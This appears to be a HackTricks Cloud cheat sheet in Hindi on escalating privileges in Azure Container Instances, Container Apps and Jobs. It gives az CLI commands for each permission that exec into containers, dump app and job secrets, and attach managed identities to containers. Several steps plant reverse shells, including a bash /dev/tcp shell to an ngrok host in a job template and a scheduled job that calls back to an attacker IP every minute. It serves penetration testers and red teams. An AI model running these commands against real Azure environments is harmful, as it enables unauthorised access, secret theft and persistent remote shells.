Az - Azure Container Instances, Apps & Jobs Privesc
Reading time: 9 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Azure Container Instances, Apps & Jobs
अधिक जानकारी के लिए देखें:
Az - Container Instances, Apps & Jobs
ACI
Microsoft.ContainerInstance/containerGroups/read
, Microsoft.ContainerInstance/containerGroups/containers/exec/action
ये अनुमतियाँ उपयोगकर्ता को एक कमांड निष्पादित करने की अनुमति देती हैं एक चल रहे कंटेनर में। इसका उपयोग कंटेनर में अधिकार बढ़ाने के लिए किया जा सकता है यदि इसमें कोई प्रबंधित पहचान संलग्न है। बेशक, कंटेनर के अंदर संग्रहीत स्रोत कोड और किसी अन्य संवेदनशील जानकारी तक पहुंच प्राप्त करना भी संभव है।
एक शेल प्राप्त करना उतना ही सरल है:
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
यह भी संभव है कि कंटेनर का आउटपुट पढ़ा जाए:
az container attach --name <container-name> --resource-group <res-group>
या लॉग प्राप्त करें:
az container logs --name <container-name> --resource-group <res-group>
Microsoft.ContainerInstance/containerGroups/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
ये अनुमतियाँ एक उपयोगकर्ता प्रबंधित पहचान को एक कंटेनर समूह से जोड़ने की अनुमति देती हैं। यह कंटेनर में विशेषाधिकार बढ़ाने के लिए बहुत उपयोगी है।
एक उपयोगकर्ता प्रबंधित पहचान को एक कंटेनर समूह से जोड़ने के लिए:
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
Microsoft.Resources/subscriptions/resourcegroups/read
, Microsoft.ContainerInstance/containerGroups/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
ये अनुमति एक कंटेनर समूह बनाने या अपडेट करने की अनुमति देती हैं जिसमें एक उपयोगकर्ता प्रबंधित पहचान संलग्न होती है। यह कंटेनर में विशेषाधिकार बढ़ाने के लिए बहुत उपयोगी है।
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
इसके अलावा, एक मौजूदा कंटेनर समूह को अपडेट करना भी संभव है, उदाहरण के लिए --command-line
तर्क के साथ एक रिवर्स शेल जोड़ना।
ACA
Microsoft.App/containerApps/read
, Microsoft.App/managedEnvironments/read
, microsoft.app/containerapps/revisions/replicas
, Microsoft.App/containerApps/revisions/read
, Microsoft.App/containerApps/getAuthToken/action
ये अनुमतियाँ उपयोगकर्ता को एक शेल प्राप्त करने की अनुमति देती हैं एक चल रहे एप्लिकेशन कंटेनर में। इसका उपयोग कंटेनर में अधिकार बढ़ाने के लिए किया जा सकता है यदि इसमें कोई प्रबंधित पहचान जुड़ी हो। बेशक, कंटेनर के अंदर संग्रहीत स्रोत कोड और किसी अन्य संवेदनशील जानकारी तक पहुंच प्राप्त करना भी संभव है।
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>
Microsoft.App/containerApps/listSecrets/action
यह अनुमति कंटेनर ऐप के अंदर कॉन्फ़िगर किए गए गुप्त पाठ को प्राप्त करने की अनुमति देती है। ध्यान दें कि गुप्त को स्पष्ट पाठ के साथ या एक कुंजी वॉल्ट के लिंक के साथ कॉन्फ़िगर किया जा सकता है (ऐसे मामले में ऐप को गुप्तों पर पहुंच के साथ एक प्रबंधित पहचान सौंपा जाएगा)।
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
Microsoft.App/containerApps/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
ये अनुमतियाँ एक उपयोगकर्ता प्रबंधित पहचान को एक कंटेनर ऐप से जोड़ने की अनुमति देती हैं। यह कंटेनर में विशेषाधिकार बढ़ाने के लिए बहुत उपयोगी है। az cli से इस क्रिया को निष्पादित करने के लिए Microsoft.App/containerApps/listSecrets/action
अनुमति की भी आवश्यकता होती है।
एक कंटेनर समूह से एक उपयोगकर्ता प्रबंधित पहचान को जोड़ने के लिए:
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
Microsoft.App/containerApps/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/managedEnvironments/join/action
ये अनुमति एक एप्लिकेशन कंटेनर बनाने या अपडेट करने की अनुमति देती हैं जिसमें उपयोगकर्ता प्रबंधित पहचान संलग्न होती है। यह कंटेनर में विशेषाधिकार बढ़ाने के लिए बहुत उपयोगी है।
# Get environments
az containerapp env list --resource-group Resource_Group_1
# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"
tip
ध्यान दें कि इन अनुमतियों के साथ ऐप की अन्य कॉन्फ़िगरेशन को संशोधित किया जा सकता है, जो मौजूदा ऐप्स की कॉन्फ़िगरेशन के आधार पर अन्य प्रिवेस्क और पोस्ट एक्सप्लोइटेशन हमलों को करने की अनुमति दे सकता है।
Jobs
Microsoft.App/jobs/read
, Microsoft.App/jobs/write
हालांकि जॉब्स कंटेनर ऐप्स की तरह लंबे समय तक चलने वाले नहीं होते हैं, आप निष्पादन शुरू करते समय जॉब की कमांड कॉन्फ़िगरेशन को ओवरराइड करने की क्षमता का लाभ उठा सकते हैं। एक कस्टम जॉब टेम्पलेट तैयार करके (उदाहरण के लिए, डिफ़ॉल्ट कमांड को रिवर्स शेल से बदलकर), आप उस कंटेनर के भीतर शेल एक्सेस प्राप्त कर सकते हैं जो जॉब चलाता है।
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
# - args:
# - -c
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
# command:
# - /bin/bash
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
Microsoft.App/jobs/read
, Microsoft.App/jobs/listSecrets/action
यदि आपके पास ये अनुमतियाँ हैं, तो आप एक नौकरी कंटेनर के अंदर सभी रहस्यों (पहली अनुमति) की सूची बना सकते हैं और फिर कॉन्फ़िगर किए गए रहस्यों के मान पढ़ सकते हैं।
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/jobs/write
यदि आपके पास एक नौकरी की कॉन्फ़िगरेशन को संशोधित करने की अनुमति है, तो आप एक उपयोगकर्ता-निर्धारित प्रबंधित पहचान संलग्न कर सकते हैं। इस पहचान के पास अतिरिक्त विशेषाधिकार हो सकते हैं (उदाहरण के लिए, अन्य संसाधनों या रहस्यों तक पहुंच) जिन्हें कंटेनर के भीतर विशेषाधिकार बढ़ाने के लिए दुरुपयोग किया जा सकता है।
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
Microsoft.App/managedEnvironments/read
, Microsoft.App/jobs/write
, Microsoft.App/managedEnvironments/join/action
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
यदि आप एक नया Container Apps Job बना सकते हैं (या एक मौजूदा को अपडेट कर सकते हैं) और एक प्रबंधित पहचान संलग्न कर सकते हैं, तो आप नौकरी को एक ऐसा पेलोड निष्पादित करने के लिए डिज़ाइन कर सकते हैं जो विशेषाधिकार बढ़ाता है। उदाहरण के लिए, आप एक नया काम बना सकते हैं जो न केवल एक रिवर्स शेल चलाता है बल्कि प्रबंधित पहचान के क्रेडेंशियल्स का उपयोग करके टोकन या अन्य संसाधनों तक पहुँचने के लिए अनुरोध भी करता है।
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
tip
यह कमांड एक त्रुटि फेंकेगा यदि आपके पास Microsoft.App/jobs/read
अनुमति नहीं है, हालांकि नौकरी बनाई जाएगी।
microsoft.app/jobs/start/action
, microsoft.app/jobs/read
ऐसा लगता है कि इन अनुमतियों के साथ एक नौकरी शुरू करना संभव होना चाहिए। इसका उपयोग एक रिवर्स शेल या किसी अन्य दुर्भावनापूर्ण कमांड के साथ नौकरी शुरू करने के लिए किया जा सकता है बिना नौकरी की कॉन्फ़िगरेशन को संशोधित किए।
मैं इसे काम करने में सफल नहीं हुआ, लेकिन अनुमत पैरामीटर के अनुसार, यह संभव होना चाहिए।
Microsoft.ContainerInstance/containerGroups/restart/action
Azure Container Instances के भीतर एक विशिष्ट कंटेनर समूह को पुनः प्रारंभ करने की अनुमति देता है।
az container restart --resource-group <resource-group> --name <container-instances>
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।